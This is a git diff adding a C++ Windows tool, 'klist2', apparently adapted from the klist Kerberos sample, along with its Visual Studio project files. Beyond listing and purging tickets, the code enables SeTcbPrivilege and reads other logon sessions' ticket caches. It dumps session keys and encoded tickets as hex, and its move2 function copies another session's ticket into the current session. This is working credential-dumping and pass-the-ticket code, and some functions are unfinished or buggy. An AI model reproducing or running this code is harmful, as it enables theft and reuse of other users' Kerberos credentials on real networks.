CacheRequest.LogonId.HighPart = 0; + + Status = LsaCallAuthenticationPackage( + LogonHandle, + PackageId, + &CacheRequest, + sizeof(CacheRequest), + (PVOID *) &CacheResponse, + &ResponseSize, + &SubStatus + ); + if (!SEC_SUCCESS(Status) || !SEC_SUCCESS(SubStatus)) + { + ShowNTError("LsaCallAuthenticationPackage", Status); + printf("Substatus: 0x%x\n",SubStatus); + return FALSE; + } + + printf("\nCached Tickets: (%lu)\n", CacheResponse->CountOfTickets); + for (Index = 0; Index < CacheResponse->CountOfTickets ; Index++ ) + { + printf("\n Server: %wZ@%wZ\n", + &CacheResponse->Tickets[Index].ServerName, + &CacheResponse->Tickets[Index].RealmName); + printf(" "); + PrintEType(CacheResponse->Tickets[Index].EncryptionType); + PrintTime(" End Time: ",CacheResponse->Tickets[Index].EndTime); + PrintTime(" Renew Time: ",CacheResponse->Tickets[Index].RenewTime); + printf(" TicketFlags: (0x%x) ", CacheResponse->Tickets[Index].TicketFlags); + PrintTktFlags(CacheResponse->Tickets[Index].TicketFlags); + printf("\n"); + + if(dwMode == INTERACTIVE_PURGE) + { + printf("Purge? (y/n/q) : "); + ch = _getche(); + if(ch == 'y' || ch == 'Y') + { + printf("\n"); + PurgeTicket( + LogonHandle, + PackageId, + CacheResponse->Tickets[Index].ServerName.Buffer, + CacheResponse->Tickets[Index].ServerName.Length, + CacheResponse->Tickets[Index].RealmName.Buffer, + CacheResponse->Tickets[Index].RealmName.Length + ); + } + else if(ch == 'q' || ch == 'Q') + goto cleanup; + else + printf("\n\n"); + + } + } + +cleanup: + + if (CacheResponse != NULL) + { + LsaFreeReturnBuffer(CacheResponse); + } + + return TRUE; +} +DWORD +GetEncodedTicket( + HANDLE LogonHandle, + ULONG PackageId, + wchar_t* Server +) +{ + NTSTATUS Status; + PKERB_RETRIEVE_TKT_REQUEST CacheRequest = NULL; + PKERB_RETRIEVE_TKT_RESPONSE CacheResponse = NULL; + PKERB_EXTERNAL_TICKET Ticket; + ULONG ResponseSize; + NTSTATUS SubStatus; + BOOLEAN Trusted = TRUE; + BOOLEAN Success = FALSE; + UNICODE_STRING Target = { 0 }; + UNICODE_STRING Target2 = { 0 }; + + InitUnicodeString(&Target2, Server); + + CacheRequest = (PKERB_RETRIEVE_TKT_REQUEST) + LocalAlloc(LMEM_ZEROINIT, Target2.Length + sizeof(KERB_RETRIEVE_TKT_REQUEST)); + + CacheRequest->MessageType = KerbRetrieveEncodedTicketMessage; + CacheRequest->LogonId.LowPart = 0; + CacheRequest->LogonId.HighPart = 0; + + + Target.Buffer = (LPWSTR)(CacheRequest + 1); + Target.Length = Target2.Length; + Target.MaximumLength = Target2.MaximumLength; + + CopyMemory( + Target.Buffer, + Target2.Buffer, + Target2.Length + ); + + CacheRequest->TargetName = Target; + + Status = LsaCallAuthenticationPackage( + LogonHandle, + PackageId, + CacheRequest, + Target2.Length + sizeof(KERB_RETRIEVE_TKT_REQUEST), + (PVOID*)&CacheResponse, + &ResponseSize, + &SubStatus + ); + + if (!SEC_SUCCESS(Status) || !SEC_SUCCESS(SubStatus)) + { + ShowNTError("LsaCallAuthenticationPackage", Status); + printf("Substatus: 0x%x\n", SubStatus); + ShowNTError("Substatus:", SubStatus); + + } + else + { + Ticket = &(CacheResponse->Ticket); + + + printf("\nEncoded Ticket:\n\n"); + + printf("ServiceName: "); PrintKerbName(Ticket->ServiceName); + + printf("TargetName: "); PrintKerbName(Ticket->TargetName); + + printf("ClientName: "); PrintKerbName(Ticket->ClientName); + + printf("DomainName: %.*S\n", + Ticket->DomainName.Length / sizeof(WCHAR), Ticket->DomainName.Buffer); + + printf("TargetDomainName: %.*S\n", + Ticket->TargetDomainName.Length / sizeof(WCHAR), Ticket->TargetDomainName.Buffer); + + printf("AltTargetDomainName: %.*S\n", + Ticket->AltTargetDomainName.Length / sizeof(WCHAR), Ticket->AltTargetDomainName.Buffer); + + printf("TicketFlags: (0x%x) ", Ticket->TicketFlags); + PrintTktFlags(Ticket->TicketFlags); + PrintTime("KeyExpirationTime: ", Ticket->KeyExpirationTime); + PrintTime("StartTime: ", Ticket->StartTime); + PrintTime("EndTime: ", Ticket->EndTime); + PrintTime("RenewUntil: ", Ticket->RenewUntil); + PrintTime("TimeSkew: ", Ticket->TimeSkew); + PrintEType(Ticket->SessionKey.KeyType); + + Success = TRUE; + + } + + if (CacheResponse) + { + LsaFreeReturnBuffer(CacheResponse); + } + if (CacheRequest) + { + LocalFree(CacheRequest); + } + + return Success; +} + + + LUID getcurrentLuid() { + + LUID tmp = ParseLuid(L"0x0", L"0x0"); + + HANDLE hToken = nullptr; + if (!OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &hToken)) { + std::cerr << "Failed to open process token. Error: " << GetLastError() << "\n"; + return tmp; + } + TOKEN_STATISTICS tokenStats; + DWORD dwLength = 0; + if (!GetTokenInformation(hToken, TokenStatistics, &tokenStats, sizeof(tokenStats), &dwLength)) { + std::cerr << "Failed to get token information. Error: " << GetLastError() << "\n"; + CloseHandle(hToken); + return tmp; + } + + CloseHandle(hToken); + + LUID l; + l.HighPart = tokenStats.AuthenticationId.HighPart; + l.LowPart = tokenStats.AuthenticationId.LowPart; + + return l; + +} + + + + + /*bool move(HANDLE LogonHandle, ULONG PackageId, LUID dl, LUID tl) { + + NTSTATUS status; + NTSTATUS substatus; + status = LsaConnectUntrusted(&LogonHandle); + KERB_TRANSFER_CRED_REQUEST ktcr; + LUID dluid = getcurrentLuid(); + ktcr.MessageType = KerbTransferCredentialsMessage; + ktcr.OriginLogonId = tl; + ktcr.DestinationLogonId = dluid; + ktcr.Flags = 0; + + + + PVOID pOut = nullptr; + ULONG outLen = 0; + + status = LsaCallAuthenticationPackage(LogonHandle, PackageId, &ktcr, sizeof(ktcr), &pOut, &outLen, &substatus); + + + if (!SEC_SUCCESS(status) || !SEC_SUCCESS(substatus)) + { + ShowNTError("LsaCallAuthenticationPackage", status); + printf("Substatus: 0x%x\n", substatus); + return FALSE; + } + + return TRUE; + +}*/ + + bool move2(HANDLE LogonHandle, ULONG PackageId, wchar_t* Server, LUID tl) { + NTSTATUS Status; + PKERB_RETRIEVE_TKT_REQUEST CacheRequest = NULL; + PKERB_RETRIEVE_TKT_RESPONSE CacheResponse = NULL; + PKERB_EXTERNAL_TICKET Ticket; + ULONG ResponseSize; + NTSTATUS SubStatus; + BOOLEAN Trusted = TRUE; + BOOLEAN Success = FALSE; + UNICODE_STRING Target = { 0 }; + UNICODE_STRING Target2 = { 0 }; + + InitUnicodeString(&Target2, Server); + CacheRequest = (PKERB_RETRIEVE_TKT_REQUEST) + LocalAlloc(LMEM_ZEROINIT, Target2.Length + sizeof(KERB_RETRIEVE_TKT_REQUEST)); + + Status = LsaConnectUntrusted(&LogonHandle); + CacheRequest->MessageType = KerbRetrieveEncodedTicketMessage; + LUID dluid = getcurrentLuid(); + CacheRequest->LogonId = tl; + Target.Buffer = (LPWSTR)(CacheRequest + 1); + Target.Length = Target2.Length; + Target.MaximumLength = Target2.MaximumLength; + CopyMemory( + Target.Buffer, + Target2.Buffer, + Target2.Length + ); + CacheRequest->TargetName = Target; + CacheRequest->CacheOptions = KERB_RETRIEVE_TICKET_AS_KERB_CRED; + + + + EnablePrivilege(SE_TCB_NAME); + + Status = LsaCallAuthenticationPackage( + LogonHandle, + PackageId, + CacheRequest, + Target2.Length + sizeof(KERB_RETRIEVE_TKT_REQUEST), + (PVOID*)&CacheResponse, + &ResponseSize, + &SubStatus + ); + + if (!SEC_SUCCESS(Status) || !SEC_SUCCESS(SubStatus)) + { + ShowNTError("LsaCallAuthenticationPackage", Status); + printf("Substatus: 0x%x\n", SubStatus); + ShowNTError("Substatus:", SubStatus); + std::cout << "LsaCallAuthPackage first call failed" << std::endl; + + } + + + Ticket = &(CacheResponse->Ticket); + ULONG retSize; + ULONG headerSize = sizeof(KERB_SUBMIT_TKT_REQUEST); + ULONG keySize = 0; + ULONG totalSize = headerSize + keySize + Ticket->EncodedTicketSize; + //std::vector req_buffer(sizeof(KERB_RETRIEVE_TKT_REQUEST) + spn_length + sizeof(WCHAR)); + //std::vector req_buffer(sizeof(KERB_RETRIEVE_TKT_REQUEST) + Ticket->EncodedTicketSize); + + //LocalAlloc(LMEM_ZEROINIT, Target2.Length + sizeof(KERB_RETRIEVE_TKT_REQUEST)); + // LocalAlloc(LMEM_ZEROINIT, Ticket->EncodedTicketSize + sizeof(KERB_SUBMIT_TKT_REQUEST)); + //CacheRequest = (PKERB_RETRIEVE_TKT_REQUEST)LocalAlloc(LMEM_ZEROINIT, Target2.Length + sizeof(KERB_RETRIEVE_TKT_REQUEST)); + // PBYTE buffer = (PBYTE)malloc(totalSize); + //ZeroMemory(buffer, totalSize); + //PKERB_SUBMIT_TKT_REQUEST req = (PKERB_SUBMIT_TKT_REQUEST)buffer; + // PKERB_SUBMIT_TKT_REQUEST req = (PKERB_SUBMIT_TKT_REQUEST)LocalAlloc(LMEM_ZEROINIT, Ticket->EncodedTicketSize + sizeof(KERB_SUBMIT_TKT_REQUEST)); + // PrintSessionKey(Ticket->SessionKey); + + + PBYTE buffer = (PBYTE)malloc(totalSize); + if (!buffer) { + // Handle allocation failure + fprintf(stderr, "[-] Memory allocation failed\n"); + return FALSE; + } + ZeroMemory(buffer, totalSize); + PKERB_SUBMIT_TKT_REQUEST req = (PKERB_SUBMIT_TKT_REQUEST)buffer; + req->MessageType = KerbSubmitTicketMessage; + req->LogonId = dluid; + req->Flags = 0; + // req->Key.KeyType = 0; + // req->Key.Length = keySize; + req->KerbCredSize = Ticket->EncodedTicketSize; + req->KerbCredOffset = headerSize + keySize; + + //memcpy(buffer + req->KerbCredOffset, Ticket->EncodedTicket, Ticket->EncodedTicketSize); + memcpy(buffer + req->KerbCredOffset, Ticket->EncodedTicket, Ticket->EncodedTicketSize); + PVOID rep_buffer = nullptr; + ULONG rep_length = 0; + + Status = LsaCallAuthenticationPackage(LogonHandle, PackageId,buffer, totalSize, &rep_buffer, &rep_length, &SubStatus); + + if (!SEC_SUCCESS(Status) || !SEC_SUCCESS(SubStatus)) + { + ShowNTError("LsaCallAuthenticationPackage", Status); + printf("Substatus: 0x%x\n", SubStatus); + std::cout << "LsaCallAuthPackage call 2 failed" << std::endl; + return FALSE; + } + + + CloseHandle(LogonHandle); + if (CacheResponse) + { + LsaFreeReturnBuffer(CacheResponse); + } + if (CacheRequest) + { + LocalFree(CacheRequest); + } + + + } + +BOOL +ShowTgt( + HANDLE LogonHandle, + ULONG PackageId, + LUID L + ) +{ + NTSTATUS Status; + KERB_QUERY_TKT_CACHE_REQUEST CacheRequest; + PKERB_RETRIEVE_TKT_RESPONSE TicketEntry = NULL; + PKERB_EXTERNAL_TICKET Ticket; + ULONG ResponseSize; + NTSTATUS SubStatus; + BOOLEAN Trusted = TRUE; + Status = LsaConnectUntrusted(&LogonHandle); + CacheRequest.MessageType = KerbRetrieveTicketMessage; + // DWORD dwordValue = std::stoul("0x40234", nullptr, 16); + //CacheRequest.LogonId.LowPart = dwordValue; + //CacheRequest.LogonId.LowPart = 0; + //CacheRequest.LogonId.HighPart = 0; + + + CacheRequest.LogonId = L; + EnablePrivilege(SE_TCB_NAME); + + Status = LsaCallAuthenticationPackage( + LogonHandle, + PackageId, + &CacheRequest, + sizeof(CacheRequest), + (PVOID*)&TicketEntry, + &ResponseSize, + &SubStatus + ); + + CloseHandle(LogonHandle); + + if (!SEC_SUCCESS(Status) || !SEC_SUCCESS(SubStatus)) + { + ShowNTError("LsaCallAuthenticationPackage", Status); + printf("Substatus: 0x%x\n",SubStatus); + return FALSE; + } + + Ticket = &(TicketEntry->Ticket); + + printf("\nCached TGT:\n\n"); + + printf("ServiceName : "); PrintKerbName(Ticket->ServiceName); + + printf("TargetName : "); PrintKerbName(Ticket->TargetName); + + printf("FullServiceName : "); PrintKerbName(Ticket->ClientName); + + printf("DomainName : %.*S\n", + Ticket->DomainName.Length/sizeof(WCHAR),Ticket->DomainName.Buffer); + + printf("TargetDomainName : %.*S\n", + Ticket->TargetDomainName.Length/sizeof(WCHAR),Ticket->TargetDomainName.Buffer); + + printf("AltTargetDomainName: %.*S\n", + Ticket->AltTargetDomainName.Length/sizeof(WCHAR),Ticket->AltTargetDomainName.Buffer); + + printf("TicketFlags : (0x%x) ",Ticket->TicketFlags); + PrintTktFlags(Ticket->TicketFlags); + // PrintTime("KeyExpirationTime: ",Ticket->KeyExpirationTime); + PrintSessionKey(Ticket->SessionKey); + PrintTime("StartTime : ",Ticket->StartTime); + PrintTime("EndTime : ",Ticket->EndTime); + PrintTime("RenewUntil : ",Ticket->RenewUntil); + PrintTime("TimeSkew : ",Ticket->TimeSkew); + // PrintEType(Ticket->SessionKey.KeyType); + printf("EncodedTicket : (size: %lu)\n", Ticket->EncodedTicketSize); + PrintHexDump(Ticket->EncodedTicket, Ticket->EncodedTicketSize); + + + if (TicketEntry != NULL) + { + LsaFreeReturnBuffer(TicketEntry); + } + + return TRUE; +} + + +BOOL ShowAll(HANDLE LogonHandle, ULONG PackageId, LUID L) { + NTSTATUS Status; + KERB_QUERY_TKT_CACHE_REQUEST CacheRequest; + PKERB_QUERY_TKT_CACHE_RESPONSE CacheResponse = NULL; + ULONG ResponseSize; + NTSTATUS SubStatus; + BOOLEAN Trusted = TRUE; + + CacheRequest.MessageType = KerbQueryTicketCacheMessage; + CacheRequest.LogonId = L; + //EnablePrivilege(SE_DEBUG_NAME); + EnablePrivilege(SE_TCB_NAME); + Status = LsaConnectUntrusted(&LogonHandle); + Status = LsaCallAuthenticationPackage( + LogonHandle, + PackageId, + &CacheRequest, + sizeof(CacheRequest), + (PVOID*)&CacheResponse, + &ResponseSize, + &SubStatus + ); + if (!SEC_SUCCESS(Status) || !SEC_SUCCESS(SubStatus)) { + ShowNTError("LsaCallAuthenticationPackage", Status); + printf("Substatus: 0x%x\n", SubStatus); + RevertIfImpersonated(); + return FALSE; + } + + ULONG tcount = CacheResponse->CountOfTickets; + printf("Ticket Count: %lu\n", tcount); + + for (ULONG i = 0; i < tcount; i++) { + KERB_RETRIEVE_TKT_REQUEST RetrieveRequest; + ZeroMemory(&RetrieveRequest, sizeof(RetrieveRequest)); + PKERB_RETRIEVE_TKT_RESPONSE TicketEntry = NULL; + UNICODE_STRING TargetName; + USHORT length = CacheResponse->Tickets[i].ServerName.Length / sizeof(WCHAR); + PWSTR spn = CacheResponse->Tickets[i].ServerName.Buffer; + + std::wstring hardcodedSpn(spn, length); + size_t spn_length = hardcodedSpn.length() * sizeof(WCHAR); + std::vector req_buffer(sizeof(KERB_RETRIEVE_TKT_REQUEST) + spn_length + sizeof(WCHAR)); + void* target_name = req_buffer.data() + sizeof(KERB_RETRIEVE_TKT_REQUEST); + + memcpy(target_name, hardcodedSpn.c_str(), spn_length); + PKERB_RETRIEVE_TKT_REQUEST req = reinterpret_cast(req_buffer.data()); + req->MessageType = KerbRetrieveEncodedTicketMessage; + req->LogonId = L; + req->TargetName.Buffer = static_cast(target_name); + req->TargetName.Length = (USHORT)spn_length; + req->TargetName.MaximumLength = req->TargetName.Length + sizeof(wchar_t); + + + PVOID rep_buffer = nullptr; + ULONG rep_length = 0; + NTSTATUS protocol_status = LsaCallAuthenticationPackage( + LogonHandle, + PackageId, + req, + static_cast(req_buffer.size()), + &rep_buffer, + &rep_length, + &protocol_status + ); + + if (protocol_status < 0) { + ShowNTError("LsaCallAuthenticationPackage", protocol_status); + printf("Substatus: 0x%x\n", SubStatus); + continue; // Skip to the next ticket on error + } + + PKERB_RETRIEVE_TKT_RESPONSE rep = static_cast(rep_buffer); + if (!rep) { + // Handle memory error + continue; + } + + KERB_EXTERNAL_TICKET& Ticket = rep->Ticket; + printf("\nCached TGT:\n\n"); + printf("ServiceName : "); PrintKerbName(Ticket.ServiceName); + printf("TargetName : "); PrintKerbName(Ticket.TargetName); + printf("FullServiceName : "); PrintKerbName(Ticket.ClientName); + printf("DomainName : %.*S\n", + Ticket.DomainName.Length / sizeof(WCHAR), Ticket.DomainName.Buffer); + printf("TargetDomainName : %.*S\n", + Ticket.TargetDomainName.Length / sizeof(WCHAR), Ticket.TargetDomainName.Buffer); + printf("AltTargetDomainName: %.*S\n", + Ticket.AltTargetDomainName.Length / sizeof(WCHAR), Ticket.AltTargetDomainName.Buffer); + printf("TicketFlags : (0x%x) ", Ticket.TicketFlags); + PrintTktFlags(Ticket.TicketFlags); + PrintSessionKey(Ticket.SessionKey); + PrintTime("StartTime : ", Ticket.StartTime); + PrintTime("EndTime : ", Ticket.EndTime); + PrintTime("RenewUntil : ", Ticket.RenewUntil); + PrintTime("TimeSkew : ", Ticket.TimeSkew); + printf("EncodedTicket : (size: %lu)\n", Ticket.EncodedTicketSize); + PrintHexDump(Ticket.EncodedTicket, Ticket.EncodedTicketSize); + } + + // Clean up response memory + if (CacheResponse != NULL) { + LsaFreeReturnBuffer(CacheResponse); + } + + // Revert after all operations + + + return TRUE; +} + + +VOID +InitUnicodeString( + PUNICODE_STRING DestinationString, + PCWSTR SourceString OPTIONAL + ) +{ + ULONG Length; + + DestinationString->Buffer = (PWSTR)SourceString; + if (SourceString != NULL) { + Length = wcslen( SourceString ) * sizeof( WCHAR ); + DestinationString->Length = (USHORT)Length; + DestinationString->MaximumLength = (USHORT)(Length + sizeof(UNICODE_NULL)); + } + else { + DestinationString->MaximumLength = 0; + DestinationString->Length = 0; + } +} + +VOID +ShowLastError( + const char* szAPI, + DWORD dwError +) +{ +#define MAX_MSG_SIZE 256 + + static WCHAR szMsgBuf[MAX_MSG_SIZE]; + DWORD dwRes; + + printf("Error calling function %s: %lu\n", szAPI, dwError); + + dwRes = FormatMessage( + FORMAT_MESSAGE_FROM_SYSTEM, + NULL, + dwError, + MAKELANGID(LANG_ENGLISH, SUBLANG_ENGLISH_US), + szMsgBuf, + MAX_MSG_SIZE, + NULL); + if (0 == dwRes) { + printf("FormatMessage failed with %d\n", GetLastError()); + ExitProcess(EXIT_FAILURE); + } + + printf("%S", szMsgBuf); +} + +VOID +ShowNTError( + const char* szAPI, + NTSTATUS Status +) +{ + // + // Convert the NTSTATUS to Winerror. Then call ShowLastError(). + // + ShowLastError(szAPI, LsaNtStatusToWinError(Status)); +} \ No newline at end of file diff --git a/klist2.sln b/klist2.sln new file mode 100644 index 0000000..7ad066d --- /dev/null +++ b/klist2.sln @@ -0,0 +1,31 @@ + +Microsoft Visual Studio Solution File, Format Version 12.00 +# Visual Studio Version 16 +VisualStudioVersion = 16.0.34931.43 +MinimumVisualStudioVersion = 10.0.40219.1 +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "klist2", "klist2.vcxproj", "{3EFFA9E6-CB9A-442D-A124-C2D0A8A7FBF9}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Debug|x64 = Debug|x64 + Debug|x86 = Debug|x86 + Release|x64 = Release|x64 + Release|x86 = Release|x86 + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {3EFFA9E6-CB9A-442D-A124-C2D0A8A7FBF9}.Debug|x64.ActiveCfg = Debug|x64 + {3EFFA9E6-CB9A-442D-A124-C2D0A8A7FBF9}.Debug|x64.Build.0 = Debug|x64 + {3EFFA9E6-CB9A-442D-A124-C2D0A8A7FBF9}.Debug|x86.ActiveCfg = Debug|Win32 + {3EFFA9E6-CB9A-442D-A124-C2D0A8A7FBF9}.Debug|x86.Build.0 = Debug|Win32 + {3EFFA9E6-CB9A-442D-A124-C2D0A8A7FBF9}.Release|x64.ActiveCfg = Release|x64 + {3EFFA9E6-CB9A-442D-A124-C2D0A8A7FBF9}.Release|x64.Build.0 = Release|x64 + {3EFFA9E6-CB9A-442D-A124-C2D0A8A7FBF9}.Release|x86.ActiveCfg = Release|Win32 + {3EFFA9E6-CB9A-442D-A124-C2D0A8A7FBF9}.Release|x86.Build.0 = Release|Win32 + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection + GlobalSection(ExtensibilityGlobals) = postSolution + SolutionGuid = {24DB0A17-A554-4F2D-B1DF-67D276782967} + EndGlobalSection +EndGlobal diff --git a/klist2.vcxproj b/klist2.vcxproj new file mode 100644 index 0000000..042b4f5 --- /dev/null +++ b/klist2.vcxproj @@ -0,0 +1,151 @@ + + + + + Debug + Win32 + + + Release + Win32 + + + Debug + x64 + + + Release + x64 + + + + 16.0 + Win32Proj + {3effa9e6-cb9a-442d-a124-c2d0a8a7fbf9} + klist2 + 10.0 + + + + Application + true + v143 + Unicode + + + Application + false + v143 + true + Unicode + + + Application + true + v143 + Unicode + + + Application + false + v142 + true + Unicode + + + + + + + + + + + + + + + + + + + + + true + + + false + + + true + + + false + + + + Level3 + true + WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + + + Console + true + Advapi32.lib;%(AdditionalDependencies) + + + + + Level3 + true + true + true + WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + + + Console + true + true + true + Advapi32.lib;%(AdditionalDependencies) + + + + + Level3 + true + _DEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + + + Console + true + Advapi32.lib;Secur32.lib;Ws2_32.lib;%(AdditionalDependencies) + + + + + Level3 + true + true + true + NDEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + + + Console + true + true + true + Advapi32.lib;Secur32.lib;Ws2_32.lib;%(AdditionalDependencies) + + + + + + + + + \ No newline at end of file diff --git a/klist2.vcxproj.filters b/klist2.vcxproj.filters new file mode 100644 index 0000000..2a48abf --- /dev/null +++ b/klist2.vcxproj.filters @@ -0,0 +1,22 @@ + + + + + {4FC737F1-C7A5-4376-A066-2A32D752A2FF} + cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx + + + {93995380-89BD-4b04-88EB-625FBE52EBFB} + h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd + + + {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} + rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms + + + + + Source Files + + + \ No newline at end of file diff --git a/klist2.vcxproj.user b/klist2.vcxproj.user new file mode 100644 index 0000000..0f14913 --- /dev/null +++ b/klist2.vcxproj.user @@ -0,0 +1,4 @@ + + + + \ No newline at end of file diff --git a/klist2.vcxproj.zip b/klist2.vcxproj.zip new file mode 100644 index 0000000..9eb60ab Binary files /dev/null and b/klist2.vcxproj.zip differ